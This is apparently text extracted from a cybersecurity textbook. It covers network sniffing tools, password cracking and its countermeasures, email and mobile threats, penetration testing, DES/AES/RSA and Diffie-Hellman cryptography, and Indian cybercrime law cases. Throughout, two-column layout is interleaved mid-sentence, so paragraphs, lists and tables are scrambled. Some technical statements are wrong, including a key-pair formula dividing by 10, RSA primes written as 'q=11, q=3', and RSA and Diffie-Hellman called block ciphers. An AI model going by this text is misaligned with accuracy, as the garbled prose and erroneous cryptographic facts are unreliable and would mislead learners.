Passive sniffing involves listening and capturing traffic and is useful in a
network connected by hubs. In networks that use hubs or wireless media
to connect systems, all hosts on the network can see all traffic; therefore,
a passive packet sniffer can capture traffic going to and from all hosts con-
nected via the hub.
5. Sniffing Tools
6. Sniffing Countermeasures
4. Ethereal is a freeware sniffer that can capture packets from a wired or
wireless LAN connection. The latest version has been renamed WireShark. The best security defence against a sniffer on the network is encryption.
Ethereal is a common and popular program because it is free but has some Although encryption wont prevent sniffing, it renders any data captured
drawbacks. An untrained user may find it difficult to write filters in Ethereal during the sniffing attack useless because a hacker cant interpret the in-
to capture only certain types of traffic. formation. Encryption such as AES and RC4 or RC5 can be utilized in VPN
technologies and is a common method to prevent sniffing on a network.
Using applications that encrypt the traffic, users can at least be moderately
5. EtherPeek is a great sniffer for wired networks with extensive filtering
reassured that their information will be safe from prying eyes. The detection
and TCP/IP conversation tracking capabilities. The latest version of Ether-
solution is to monitor ARP traffic on your network and detect when ARP en-
Peek has been renamed OmniPeek.
tries are being changed.
10. MAC Changer is a tool used to spoof a MAC address on Unix. It can In recent years, computer programmers have been trying to create algo-
be used to set the network interface to a specific MAC address, set the MAC rithms for password cracking in less time. Most of the password cracking
Cain & Abel is a password recovery tool for Microsoft Operating Systems. It
allows easy recovery of various kinds of passwords by sniffing the network,
cracking encrypted passwords using Dictionary, Brute-Force and Cryptanal-
ysis attacks, recording VoIP conversations, decoding scrambled passwords,
recovering wireless network keys, revealing password boxes, uncovering
cached passwords and analysing routing protocols. The program does not
exploit any software vulnerabilities or bugs that could not be fixed with a 2. The Network tab helps you view the browsers, the dial-in servers, the
little effort. It covers some security aspects/weakness present in protocols SQL servers. Time servers and others user in the network.
standards, authentication methods and caching mechanisms;
4. In cracker tab you can decode the LM Hash, NT Hash value by pass-
word attacking method like Dictionary, Brute force, Cryptanalysis attack
PASSWORD-CRACKING COUNTERMEASURES
Audit for excessive failed logon attempts. Eavesdropping and Interception: The protocols used to support
email do not employ encryption. Thus, all messages are transmitted in the
Monitor the network or system for sniffing and password theft tools. form in which they are submitted to the email server, which is often plain
Implement account lockout to lock accounts when multiple incorrect pass- text. This makes interception and eavesdropping easy.
words are used. Malware Distribution: Email is the most common delivery mecha-
Suggestions for strengthening passwords are: nism for viruses, worms, Trojan horses, documents with destructive macros,
and other malicious code. Hackers with malicious intent can exploit your
Password must contain multiple character types: uppercase, lowercase, email client by distributing malware through email messages. The malware
numbers and special characters. includes viruses, worms, rootkits, Trojans, key loggers, spyware, and ad-
ware, to name a few types. The malware is distributed via an email attach-
Password length should be minimum 10 characters.
ment or sometimes by simply opening an email message. More often than
Use no part of a username or e-mail address. not, the mail message is disguised as a message from someone you know
when in reality; it is sent by the hacker.
Avoid dictionary, slang or acronyms.
Infecting your computer with malicious links: Here, the cyber
Change passwords every 30 days
attackers goal is for you to click on a link. However, instead of harvesting
your information, their goal is to infect your computer. If you click on the
link, you are directed to a website that silently launches an attack against
Managing Email Security your computer that if successful, will infect your system.
Email is one of the most widely and commonly used Internet services. The Phishing Attack: A phishing attack is generally not hazardous to the
email infrastructure employed on the Internet primarily consists of email inner workings of your PC however; it is designed to trick you into reveal-
servers using the Simple Mail Transfer Protocol (SMTP) to accept messages ing your personal information, passwords or bank account information. For
from clients, transport those messages to other servers, and deposit mes- example, if you use PayPal, the phisher sends you a message through email
sages into a users server-based inbox. In addition to email servers, the that looks like it came from PayPal. The message requests you to verify your
infrastructure includes email clients. Clients retrieve email from their serv- account information with PayPal to continue using your account. The mes-
er-based inboxes using the Post Office Protocol version 3 (POP3) or Internet sage proceeds to tell you that if you do not verify the information your ac-
Message Access Protocol (IMAP). Clients communicate with email servers count will be closed. Someone that is unaware of phishing scams easily gets
using SMTP. Sendmail is the most common SMTP server for Unix systems, tricked into revealing their account information. These types of messages are
Exchange is the most common SMTP server for Microsoft systems, and set up to look like the real deal.
GroupWise is the most common SMTP server for Novell systems. In addi-
Spoofing: Email offers little in the way of source verification. Spoofing
tion to these three popular products, numerous alternatives exist, but they
the source address of email is a simple process for even a novice attacker.
all share the same basic functionality and compliance with Internet email
Email headers can be modified at their source or at any point during transit.
standards. If you deploy an SMTP server, it is imperative that you proper-
Furthermore, it is also possible to deliver email directly to a users inbox on
Objective Mobile security will be the key to winning the war against this new genera-
tion of cyber thieves. Mobile security can come in many shapes and forms.
Introductions Some protections are built directly into the device youre using.
Challenges of mobile security
Other mobile security protections are built into the network, such as strong
Mobile Vulnerabilities encryption standards for data travelling across cellular networks. But per-
Cell Phone Security Measures haps no mobile security device is as powerful as an educated consumer who
keeps his or her personal information protected and avoids downloading
Mobile Related Threats
suspicious applications or clicking on booby-trapped links.
Mobile Malwares
Mobile Based Attacks
Mobile Device Management Tools The key factors that are contributing to the increasing need for mobile se-
curity including:
obile devices: They are changing dramatically and are now as
M
INTRODUCTION
powerful as laptops and other computing devices.
Previously, mobile users primarily used their mobile devices for voice com-
pen devices and networks: Services and applications have
O
munications, with little to no mobile data activity. Data applications that
moved to IP and given the user more control, exposing the net-
were available were contained in a walled garden and only available on the
work and users to additional security risks.
mobile carriers network, thus closed off from the rest of the data world.
pplications: Thousands of applications with billions of down-
A
However, the walled garden mobile environment has now quickly changed as
load are now happening.
mobile devices are becoming more open. These open devices need open net-
works to get the full benefit of the openness of the device. This is pressuring assive increases in bandwidth from data services: These
M
mobile operators to open their networks and allow the mobile user to do are increasing the number of attacks on network signaling and
more with their devices. This in turn has led to a new phenomenon in mo- applications layers.
bile applications, as mobile users can now access thousands and thousands
of applications.
2 Challenges of Mobile Security
Mobile commerce performed over these open mobile devices is also becom-
ing much more prevalent, with many mobile users now getting more com- Threats
fortable shopping or purchasing items with their mobile device. All of these
things open the door for mobile carriers to drive new revenues. It also opens A Smartphone user is exposed to various threats when he uses his phone.
the door for new security threats that can potentially do harm to mobile us- These threats can disrupt the operation of the Smartphone, and transmit
ers and to the carriers revenue streams. or modify the user data. For these reasons, the applications deployed there
must guarantee privacy and integrity of the information they handle. In
As smart phone sales continue to take off, the potential mobile targets for addition, since some apps could themselves be malware, their functionality
hackers to perform malicious acts in order to achieve financial gain will and activities should be limited (for example, accessing location information
quickly outnumber those in the computer world. This time is approaching via GPS, address book, transmitting data on the network, sending SMS that
very quickly and mobile carriers need to prepare now to protect their net- are charged, etc.).
works and users from these new threats. The consequences of not imple-
menting security could have devastating impacts on the future growth of the There are three prime targets for attackers:
mobile industry. Data: Smartphones are devices for data management, therefore they
may contain sensitive data like credit card numbers, authentication
information, private information, activity logs (calendar, call logs);
3 Mobile Vulnerabilities T
his is done by transmitting a maintenance command on the control
channel to the cell phone.
There have recently been concerns about potential threats and security is-
sues in mobile phone technologies. Some analysts argue that mobile phones This command places the cell telephone in the diagnostic mode.
are vulnerable to the same sort of security risks as PCs. The truth may be W
hen this is done, conversations in the immediate area of the tele-
that the situation is worse than that. phone can be monitored over the voice channel.
1. Vulnerability to monitoring of your conversations while using the T
he user doesnt know the telephone is in the diagnostic mode and
phone. transmitting all nearby sounds until he or she tries to place a call.
2. Vulnerability of your phone being turned into a microphone to monitor T
hen, before the cell telephone can be used to place calls, the unit has
conversations in the vicinity of your phone while your phone is inactive. to be cycled off and then back on again.
3. Vulnerability to cloning, or the use of your phone number by others This threat is the reason why cell telephones are prohibited in areas
to make calls that are charged to your account. where classified or sensitive discussions are held.
W
hen you call someone from your cell phone, consider advising them 5. Evaluate your security settings - Make sure that you take advantage
that you are calling from a cell phone that is vulnerable to monitoring, of the security features offered on your device. Attackers may take advan-
and that you will be speaking generally and not get into sensitive mat- tage of Bluetooth connections to access or download information on your
ters. device. Disable Bluetooth when you are not using it to avoid unautho-
rized access.
Do not leave your cell phone unattended.
6. Guard your cell phone like you would your wallet.
If your cell phone is vehicle-mounted, turn it off before permitting va-
let parking attendants to park the car, even if the telephone automati- 7. Password-protect your device.
cally locks when the cars ignition is turned off. 8. Dont be fooled by cell phone insurance.
A
void using your cell phone within several miles of the airport, stadi- 9. Call your cell phone provider as soon as you discover the loss.
um, mall or other heavy traffic locations.
10. File a police report.
Examples
Mabir Worm: Mabir worm spreads through Multimedia Messaging
Announced Testing:
Is an attempt to compromise systems on the client with the full coop-
eration and knowledge of the IT staff.
xamines the existing security infrastructure of possible vulnerabili-
E
ties.
Involves the security staff on the penetration testing teams to conduct
these audits.
It performs security assessment and testing internally. It is the traditional approach to penetration testing.
A
pproaches towards the application security that test for all vulnera- It may be performed with no prior knowledge of the site (black box).
bilities which a hacker may find and exploit. It may be performed with no prior knowledge of the site (black box).
P
erformed mostly when a penetration tester starts a black box test on Full disclosure of the topology and environment (white box).
well-protected systems and finds that a little prior knowledge is re-
quired in order to conduct a thorough review.
External penetration testing involves a comprehensive analysis of available
Grey-box testing is also known as translucent testing. information about the target, such as:
Grey-box testing is well suited for web applications. Web Servers
Mail Servers
Strategies of Penetration Testing Domain names
External penetration testing Vulnerabilities
Internal security assessment
Application security assessment
Network security assessment
Wireless security assessment
802.11a/b/g/n
Bluetooth
GHz signals
Wireless radio transmissions
Radio communication channels
Social Engineering
Social engineering addresses a non-technical kind of intrusion.
Social engineering is commonly understood to mean the art of manipu-
lating people into performing actions or divulging confidential informa-
tion. Wikipedia
Social engineering can bypass firewall, IDS, IPS, Honey pots, DMZ.
The weakest link in any organization is not computer, its Human.
10.7 Public Key Infrastructures and Certificate Authorities (1) Stream ciphers: Stream ciphers can encrypt a single bit/byte of plain-
text at a time. Stream ciphers come in several flavours but two are
worth mentioning here.
10.1 Introduction
During the time when the Internet provides essential communication between
tens of millions of people and is being increasingly used as a tool for com-
merce, security becomes a tremendously important issue to deal with. There
are many aspects to security and many applications, ranging from secure com-
merce and payments to private communications and protecting passwords.
The origin of the word cryptology lies in ancient Greek. The science of cryp-
tology is the science of secure communications, formed from the Greek words
crypto, hidden, and logos, word. Cryptology is the practice and study of
hiding information. Cryptology is as old as writing itself, and has been used
for thousands of years to safeguard military and diplomatic communications.
There are two main types of cryptography:
Synchronous Stream Cipher
Synchronous stream cipher keys are generated at a different time than during
Secret key cryptography: Secret-key encryption uses one key, the secret the encryption process. Keys are generated independently of the plaintext or
key, to both encrypt and decrypt messages. This is also called symmet- cipher text. The sender and receiver need to be in synchrony with the state of
ric encryption. The term private key is often used inappropriately to the key. As stated above any bit that has been changed due to corruption or
refer to the secret key. unintentional modification does not affect the deciphering of other bits. How-
ever, when cipher text characters are deleted or inserted then synchronization
Public key cryptography: It also called asymmetric encryption uses a
pair of keys for encryption and decryption. With public key cryptogra- is lost.
phy, keys work in pairs of matched public and private keys. The public
key can be freely distributed without compromising the private key,
which must be kept secret by its owner. Because these keys work only
Asynchronous Stream Cipher
as a pair, encryption initiated with the public key can be decrypted only
with the corresponding private key. Asynchronous stream ciphers generate key streams as a function of the key
and a set number of former cipher text bits. The advantage is that if cipher
text bits are inserted or deleted the decipher stream can self-heal by re-syn-
Steps in DES
Block ciphers take a number of bits (typically 64 bits in modern ciphers) and
encrypt them as a single unit. In general, the same plaintext block will always
encrypt to the same cipher text when using the same key in a block cipher
whereas the same plaintext will encrypt to different cipher text in a stream
cipher.
A block cipher method called chaining can be used to make a much more se-
cure cipher text message. The basic idea behind chaining is to use the cipher
text of the previous block to encrypt the current block. Although there may be
different ways to do this, almost all ciphers that use chaining follow the rules
outlined on this page.
DES is a block cipher with a 64-bit block size. AES is a block cipher with a 1. Initial permutation
128-bit block size. RSA and Diffie-Hellman are block ciphers with variable
block sizes. Firstly, each bit of a block is subject to initial permutation, which can be rep-
resented by the following initial permutation (IP) table:
58 50 42 34 26 18 10 2
60 52 44 36 28 20 12 4
L0
62 54 46 38 30 22 14 6
64 56 48 40 32 24 16 8
-
57 49 41 33 25 17 9 1
59 51 43 35 27 19 11 3
R0
61 53 45 37 29 21 13 5 ExpansionPermutation The 32-bit half-block (RPT) is expanded to
63 55 47 39 31 23 15 7 48 bits using the expansion permutation, denoted E in the diagram, by
duplicating half of the bits. The output consists of 8 6-bit pieces, each
3. Rounds The Ln and Rn blocks are subject to a set of repeated transfor- containing a copy of 4 corresponding input bits, plus a copy of the im-
mations called rounds, shown in this diagram and the details of which mediately adjacent bit from each of the input pieces to either side.
are given below:
S Box - Substitution after mixing in the sub key, the block is divided
into eight 6-bit pieces before processing by the S-boxes or substitution
boxes. Each of the eight S-boxes replaces its six input bits with four out-
Details of One Round in DES put bits according to a non-linear transformation, provided in the form
of a lookup table. The S-boxes provide the core of the security of DES
without them, the cipher would be linear, and trivially breakable.
In 1990, Eli Biham and Adi Shamir developed differential cryptanalysis, which
searches for plaintext pairs and cipher text pairs. This method works with up
to 15 rounds.
However, the AES standard states that the algorithm can only accept a block
size of 128 bits and a choice of three keys - 128, 192, 256 bits. Depending
on which version is used, the name of the standard is modified to AES-128,
AES-192 or AES- 256 respectively. As well as these differences AES differs
from DES in that it is not a feistel structure. In this case the entire data block
is processed in parallel during each round using substitutions and permuta-
tions.
A number of AES parameters depend on the key length. For example, if the
key size used is 128 then the number of rounds is 10 whereas it is 12 and 14
for 192 and 256 bits respectively. At present the most common key size likely
to be used is the 128 bit key. This description of the AES algorithm therefore
TDES is much more secure than DES, but it has the major disadvantage of describes this particular implementation.
also requiring more resources for encryption and decryption.
AES was designed to have the following characteristics:
AES
Resistance against all known attacks.
The Advanced Encryption Standard (AES) is a specification for the encryption
of electronic data established by the U.S. National Institute of Standards and Speed and code compactness on a wide range of platforms.
Technology (NIST) in 2001. Originally called Rijndael, the cipher was devel-
Design Simplicity.
oped by two Belgian cryptographers, Joan Daemen and Vincent Rijmen, who
submitted to the AES selection process.
When A wants to communicate with B & C, we need two lock-key pairs 3. Choose an integer e, 1 < e <(n) such that: gcd(e, (n)) = 1
(A-B and A-C) 4. Compute d, 1 < d <(n) such that: ed 1 (mod (n))
If four persons want to communicate with each other, we need 6 pairs. the public key is (n, e) and the private key is (n, d)
A-B, A-C, A-D, B-C, B-D, & C-D.
the values of p, q and (n) are private
In general, for n persons, number of lock and key pair is n*(n-1)/10. For
1000 persons, we need 1000*999/2=499,500. e is the public or encryption exponent
d is the private or decryption exponent
Asymmetric cryptography or public-key cryptography is cryptography in The cypher text C is found The message M can be
which a pair of keys is used to encrypt and decrypt a message so that it ar- by the equation found form the cypher
rives securely. Initially, a network user receives a public and private key pair text C by the equation
C = Me mod n
from a certificate authority. Any other user who wants to send an encrypted
M = Cd mod n.
message can get the intended recipients public key from a public directory. where M is the original mes-
They use this key to encrypt the message and they send it to the recipient. sage.
When the recipient gets the message, they decrypt it with their private key,
which no one else should have access to.
RSA Public key encryption and digital signatures 1. Select the prime integers q=11, q=3.
ElGamal Public key encryption and digital signatures 2. n=pq=33; (n)=(p-1)(q-1)=20
DSA Digital signatures
3. Choose e=3Check gcd(3,20)=1
4. Compute d=7
The RSA Algorithm
The RSA algorithm is used for both public key encryption and digital signa- (3) d 1 (mod 20)
tures. It is the most widely used public key encryption algorithm. The basis
of the security of the RSA algorithm is that it is mathematically infeasible to Therefore the public key is (n, e) = (33, 3) and the private key is (n, d) = (33, 7)
factor sufficiently large integers. The RSA algorithm is believed to be secure if
its keys have a length of at least 1024-bits.
A=gx mod n She sends the values of n & g to Bob, which will form the basis of Al-
iceA& Bobs B, which will be used to calculate K1=K2=K.
Alice sends the number A to Bob.
Alice Tom Bob
Bob independently chooses another large random integer y and calcu-
n=11, g=7 n=11, g=7 n=11, g=7
lates B such that:
Attacker Tom is listening; he picks up the values and also forwards
B = gy mod n them to Bob.
Bob sends the number B to Alice. Let us assume that Alice, Tom, & Bob select random numbers x & y.
At this stage, Alice, Tom & Bob have the values of A & B as shown
Here, Public key values for the sender (Alice), attacker (Tom),& receiver(-
Bob) are 20, 17,& 13 respectively.
Alice Tom Bob When Alice wants to send a message securely to Bob, she sends her
A=2, B=4 A=2, B=8 A=9, B=8 public key to Bob (20) and asks Bob for Bobs public key.
Tom-the attacker-intercepts Alices message. He changes the public key
Based on these values, all three persons calculate their keys. value in Alices original message from 20 to his own 17 & forwards this
message to Bob.
Alice Tom Bob
Bob sends back his public key (13) in response to Alices message.
K1 = Bx mod n K1 = Bx mod n K2 = Ay mod n
Tom intercepts bobs message, changes the public key to 17, and for-
= 4 3 mod 11 = 8 8 mod 11= 5 = 9 9
mod 11
wards it to Alice.
= 64 mod 11 K2 = Ay mod n = 5
Alice thinks that Bobs public key is 17. She encrypts the message with
= 9 = 2 6
mod 11= 9 17 and sends it to Bob.
Tom intercepts this message, uses his private key to decrypt the mes-
sage, processes it re-encrypts the message with Bobs public key and
Why Tom needs Two Keys? forwards it to Bob.
At one side Tom wants to communicate with Alice securely using shared Bob decrypts the message coming from Tom with his private key, de-
symmetric key (9), other side with Bob using a different shared sym- pending on the message forms a reply. He encrypts the reply with Al-
metric key (5). ices public key 17 (which is actually Toms Public key).
Only then he can receive messages from Alice, view/manipulate them & Tom intercepts Bobs reply, uses his private key to decrypt the mes-
forward them to Bob & vice-versa. sage, processes it, re-encrypts it with the real public key of Alice 20 and
sends it to Alice. Alice can decrypt it with her private key.
Alice feels that key 9 is shared between her & Bob, whereas Bob feels
that key 5 is shared between him & Alice.
Tom is sharing key 9 with Alice & 5 with Bob.
Types of Certificates
There are different types of certificates, each with different functions and this
can be confusing. It helps to differentiate between at least four types of certif-
icates. You can see samples of some of these different types of certificates in
your browser.
Root or authority certificates: These are certificates that create the base
(or root) of a certification authority hierarchy, such as Thawte or CREN.
These certificates are not signed by another CAthey are self signed by
the CA that created them. When a certificate is self-signed, it means that
the name in the Issuer field is the same as the name in the Subject Field.
Secret-key encryption uses one key, the secret key, to both encrypt and
decrypt messages. This is also called symmetric encryption
b. Cybercrime in a broader sense (computer-related crime): Any illegal behav- 6. Forgery: Counterfeit currency notes, postage and revenue stamps,
ior committed by means of, or in relation to, a computer system or network, mark sheets etc. can be forged using sophisticated computers, printers
including such crimes as illegal possession [and] offering or distributing infor- and scanners. Outside many colleges across India, one finds touts so-
mation by means of a computer system or network. liciting the sale of fake mark sheets or even certificates. These are made
using computers and high quality scanners and printers. In fact, this
Types of Cybercrimes has becoming booming business involving thousands of Rupees being
given to student gangs in exchange for these bogus but authentic look-
Some types of Cybercrimes found in India are:
ing certificates. Some of the students are caught but this is very rare
1. Cyber pornography: This would include pornographic websites; por- phenomenon.
nographic magazines produced using computers (to publish and print
the material) and the Internet (to download and transmit pornographic 7. Cyber Defamation: This occurs when defamation takes place with the
pictures, photos, writings etc.). (Delhi Public School case) help of computers and or the Internet. E.g. someone publishes defam-
atory matter about someone on a website or sends e-mails containing
2. Sale of illegal articles: This would include sale of narcotics, weapons defamatory information to all of that persons friends.
and wildlife etc., by posting information on websites, auction websites,
and bulletin boards or simply by using email communication. E.g. Many 8. Cyber stalking: The Oxford dictionary defines stalking as pursuing
of the auction sites even in India are believed to be selling cocaine in the stealthily. Cyber stalking involves following a persons movements
name of honey. across the Internet by posting messages (sometimes threatening) on
the bulletin boards frequented by the victim, entering the chat-rooms
3. Online gambling: There are millions of websites all hosted on servers frequented by the victim, constantly bombarding the victim with emails
abroad, that offer online gambling. In fact, it is believed that many of etc.
these websites are actually fronts for money laundering. Cases of ha-
wala transactions and money laundering over the Internet have been 9. Unauthorized access to computer systems or networks: This activ-
reported. Whether these sites have any relationship with drug traffick- ity is commonly referred to as hacking. The Indian law has, however,
ing is yet to be explored. given a different connotation to the term hacking, so we will not use the
1. Hacking: Hacking is not defined in the amended IT Act, 2000. Hacking Information Technology (Amendment) Act, 2008, crime of identity theft
means the unauthorized access to a computer system, programs, and under Section 66-C, whoever, fraudulently or dishonestly make use of
data and network resources. (The term hacker originally meant a very the electronic signature, password or any other unique identification
gifted programmer). feature of any other person known as identity theft. Identity theft is a
term used to refer to fraud that involves stealing money or getting other
Law and Punishment: Under Information Technology (Amendment) benefits by pretending to be someone else. The term is relatively new
Act, 2008, Section 43(a) read with section 66 is applicable and Section and is actually a misnomer, since it is not inherently possible to steal
379 and 406 of Indian Penal Code, 1860 also are applicable. If crime an identity, only to use it. The person whose identity is used can suffer
is proved under IT Act, accused shall be punished for imprisonment, various consequences when they are held responsible for the perpetra-
which may extend to three years or with fine, which may extend to five tors actions. At one time the only way for someone to steal somebody
lakhs rupees or both. Hacking offence is cognizable, bail able, com- elses identity was by killing that person and taking his place. It was
poundable with permission of the court before which the prosecution of typically a violent crime. However, since then, the crime has evolved
such offence is pending and triable by any magistrate. and todays white collared criminals are a lot less brutal. But the rami-
fications of an identity theft are still scary.
2. Data Theft: According to Information Technology (Amendment) Act,
2008, crime of data theft under Section 43 (b) is stated as - If any per- Law and Punishment: Under Information Technology (Amendment)
son without permission of the owner or any other person, who is in Act, 2008, Section 66-C and Section 419 of Indian Penal Code, 1860
charge of a computer, computer system of computer network - down- also applicable. Identity Theft offence is cognizable, bail able, com-
loads, copies or extracts any data, computer data base or information poundable with permission of the court before which the prosecution of
from such computer, computer system or computer network including such offence is pending and triable by any magistrate.
information or data held or stored in any removable storage medium,
then it is data theft. 5. E-Mail Spoofing: Hackers use this method to disguise the actual email
address from which phishing and spam messages are sent and often
Law and Punishment: Under Information Technology (Amendment) use email spoofing in conjunction with Web page spoofing to trick users
Act, 2008, Section 43(b) read with Section 66 is applicable and under into providing personal and confidential information.
They have been working in groups. Some members of this group were also
Investigation:
involved in the hacking of Bruhat Bengaluru Mahanagara Palike, BJP and
The complainant handed over all the e-mail correspondence to the police. Congress websites in the past, though Anonymous was the main group be-
Many of them had masked headers and therefore the police could not inves- hind the cyber-attacks, she added.
tigate them any further. Moreover there was no e-mail that could be traced
to Kolkata where the accused was staying as per the complainants version. Over 289 government websites have been hacked by cyber criminals between
However the investigating teamwas able to trace some of these e-mails to the January and August this year as per our survey. A malware can be installed
corporate office of a large cement company and a residence in Mumbai. A raid in users system just during a visit to a compromised website, and it will then
was conducted at these premises. compromise the computer and the privacy of the content available on the
site, she said.
Based on the report of the FSL it was clearly established that the ac-
3. Creating fake profile cused had: Created a fictitious e-mail ID and had sent the obscene e-mail to
the complainant; posted the profiles of the victim along with her photographs
Case: Creating fake profile on the matrimonial sites.
State: Andhra Pradesh
City: Hyderabad Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
Sections of Law 67 Information Technology Act 2000, 507, 509 of the Indi-
an Penal Code.
Background:
4. CREDIT CARD FRAUD
The complainant received an obscene e-mail from an unknown e-mail ID. The
complainant also noticed that obscene profiles along with photographs of his
daughter had been uploaded on matrimonial sites. Case: Credit Card Fraud
The investigating officer examined and provided the statements of the com-
plainant and his daughter. The complainant stated that his daughter was City: Chennai
divorced and her husband had developed a grudge against them due to the
failure of the marriage. Sections of Law: Section of Law 66 of Information Technology Act 2000 &
120(B), 420, 467, 468, 471 IPC.
The investigating officer took the original e-mail from the complainant and
extracted the IP address of the same. From the IP address he could ascertain
the Internet service provider. Background:
The IP address was traced to a cable Internet service provider in the city area The assistant manager (the complainant) with the fraud control unit of a large
of Hyderabad. The said IP address was allotted to the former husband some- business process outsourcing (BPO) organization filed a complaint alleging
time back and his house was traced with the help of the staff of ISP. that two of its employees had conspired with a card holder to manipulate the
credit limit and as a result cheated the company of INR 0.72 million.
A search warrant was obtained and the house of the accused was searched.
During the search operation, a desktop computer and a handy-cam were The BPO facility had about 350 employees. Their primary function was to
seized from the premises. A forensic IT specialist assisted the investigation issue the banks credit cards as well as attend to customer and merchant
officer in recovering e-mails (which were sent to the complainant), using a queries. Each employee was assigned to a specific task and was only allowed
specialized disk search tool as well as photographs (which had been posted on to access the computer system for that specific task. The employees were not
the Internet) from the computer and the handy-cam respectively. The seized allowed to make any changes in the credit-card holders account unless they
Each of the employees was given a unique individual password. In case they
Case: Cyber Extortion
entered an incorrect password three consecutive times, then their password
would get blocked and they would be issued a temporary password.
State: Maharashtra
The company suspected that its employees conspired with the son (holding an
add-on card) of one of the credit card holders. The modus operandi suspected
by the client is as follows. City: Mumbai
The BPO employee deliberately keyed in the wrong password three consecu-
tive times (so that his password would get blocked) and obtained a temporary Sections of Law: 420,465,467,471,474 of the IPC r/w 67 of IT Act 2000
password to access the computer system. He manually reversed the transac-
tions of the card so that it appeared that payment for the transaction has tak-
Sources: http://www.indiaforensic.com/cyberextortion.htm
en place. The suspect also changed the credit card holders address so that
the statement of account would never be delivered to the primary card holder.
Background:
Investigation: 51-year-old cybercriminal Pranab Mitra, a former executive of Gujarat Ambu-
ja Cement, was arrested for posing as a woman and seducing online an Abu
The investigation team visited the premises of the BPO and conducted de- Dhabi-based man.
tailed examination of various persons to understand the computer system
used. They learnt that in certain situations the system allowed the user to Mitra posed as a woman, Rita Basu and created a fake e-mail ID through
increase the financial limits placed on a credit card. The system also allowed which he contacted one V.R. Ninawe. According to the FIR, Mitra trapped
the user to change the customers address, blocking and unblocking of the Ninawe in a cyber-relationship sending emotional messages and indulging
address, authorizations for cash transactions etc. in online sex since June 2002. Later, Mitra sent an e-mail that she would
commit suicide if Ninawe ended the relationship.
The team analyzed the attendance register which showed that the accused
was present at all the times when the fraudulent entries had been entered in He also gave him another friend Ruchira Senguptas e-mail ID which was
the system. They also analyzed the system logs that showed the accusers ID in fact his second bogus address. When Ninawe mailed at the other ID he
had been used to make the changes in the system. was shocked to learn that Mitra had died. Then Mitra began the emotional
blackmail by calling up Abu Dhabi to say that police here were searching for
The team also visited the merchant establishments from where some of the Ninawe.
transactions had taken place. The owners of these establishments identified
Ninawe panicked on hearing the news and asked Mitra to arrange for a good
the holder of the add-on card.
advocate for his defence. Ninawe even deposited a few lakhs in the bank as
advocate fees. Mitra even sent e-mails as high court and police officials to ex-
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm tort more money. Ninawe finally came down to Mumbai to lodge a police case.
Investigation:
Mitra does not know much about computer hacking, yet 51-year-old cy-
ber-criminal Pranab Mitra has stunned even the cybercrime investigation cell
of Mumbai police with his bizarre fraud on the Net. Mitra was arrested on
Monday for posing as a woman and seducing online an Abu Dhabi-based
man, thereby managing to extort 96 lakhs from him.
7. DATA THEFT
City: South Delhi
Case: Data theft
Sections of Law: Section 509 of the IPC for outraging the modesty of a woman
and also under the Information Technology Act, 2000. State: Delhi
Preliminary investigations revealed that the accused was holding the post of
Case: Fake travel agent
the senior program manager and was the team leader for data management.
During employment the accused along with his father had opened a partner-
ship firm. It was found that raw data was sent as attachments from the e-mail State: Maharashtra
ID of this (accused) firms Website domain. The Website was traced and the
e-mail ID address and registration details were recovered by the investigat-
ing officer using specialized softwares. It was revealed that the accused had City: Mumbai
passed data bought by and belonging to the complainant firm to various call
centers (as if the same belonged to his firm), to make the calls on their behalf
Sections of Law 420, 465, 467, 468, 471, and 34 of IPC r/w 143 of Indian
for generating leads.
Railway Act 1989.
The entire business process of the complainant firm was studied and a sys-
tems analysis was conducted to establish the possible source of data theft. Background:
The accused had opened a foreign currency account in the name of his firm.
An analysis of the printout revealed that payments had been made to two call The accused in this case was posing to be a genuine railway ticket agent and
centers. The call centers were contacted and the raw data sent as attach- has been purchasing tickets online by using stolen credit cards of nonresi-
ments were corrected. dents. The accused created fraudulent electronic records/profiles, which he
used to carry out the transactions. The tickets so purchased were sold for
The data was comprised of six separate files and it was compared with the cash to other passengers. Such events occurred for a period of about four
data purchased by the complainant company in the US. This was done by months.
writing and executing SQL queries. Analysis of the e-mail headers of the mails
sent by the accused through his ID were carried out. The originating IP ad- The online ticket booking service provider took notice of this and lodged a
dress was found and information was obtained from VSNL. Accordingly it complaint with the cybercrime investigation cell.
was found that the range of IP was allotted to the complainant company. It
was thus established that the accused has sent the stolen data from the office
of the complainant company using the e-mail ID of his (accused) firm. Investigation:
An analysis of the bank account of the accused showed that payments were The service provider gave the IP addresses, which were used for the fraudu-
being made to two people. It was found that they were also ex-employees of lent online bookings, to the investigating team. IP addresses were traced to
the complainant company who had resigned after the accused left the compa- cyber cafes in two locations.
ny. On interrogation he revealed that he had roped in two of his colleagues
who actively assisted him in his clandestine activities. One of them, while still The investigating team visited the cyber cafes but was not able to get the de-
an employee of the complainant company, coordinated with various call cen- sired logs as they were not maintained by the cyber caf owners. The inves-
ters on behalf of the accused. The other facilitated the installation of propri- tigating team was able to short list the persons present at cyber cafes when
etary sequencing software in the personal computer of the accused. In order the bookings were made. The respective owners of the cyber cafes were able
to have a clientele base in US, the accused had sought the assistance of one to identify two persons who would regularly book railway tickets.
more person. The two accused were arrested.
The investigating team then examined the passengers who had traveled on
these tickets. They stated that they had received the tickets from the accused
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm and identified the delivery boy who delivered the tickets to them. On the basis
of this evidence the investigating team arrested two persons who were identi-
fied in an identification parade.
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm
Sections of Law 66 & 67 of IT Act 2000 Sections of Law: 67 of Information Technology Act 2000, 469, 509 of the IPC.
Background: Background:
The complainant approached the police stating that she had been receiving
obscene and pornographic material at her e-mail address and mobile phone. The complainant stated that some unknown person had created an e-mail
She stated that this person appeared to know a lot about her and her family ID using her name and had used this ID to post messages on five Web pages
and believed that her e-mail account had been hacked. describing her as a call-girl along with her contact numbers.
The ISP was identified with the help of publicly available internet sites. A
Source: - http://indiacyberlab.in/know_more/legal-hacking.htm request was made to the ISPs to provide the details of the computer with the
IP addresses at the time the messages were posted. They provided the names
and addresses of two cyber cafes located in Mumbai to the police.
The investigating team scrutinized the registers maintained by the cyber cafes
and found that in one case the complainants name had been signed into the
register.
The team also cross-examined the complainant in great detail. During one
of the meetings she revealed that she had refused a former college mate who
had proposed marriage.
Case: Engineering dropout attempting to hack ICICI website held 12. ICICI PHISHING
State: West-Bengal Case: ICICI Bank told to pay 13 lakhs to NRI customer
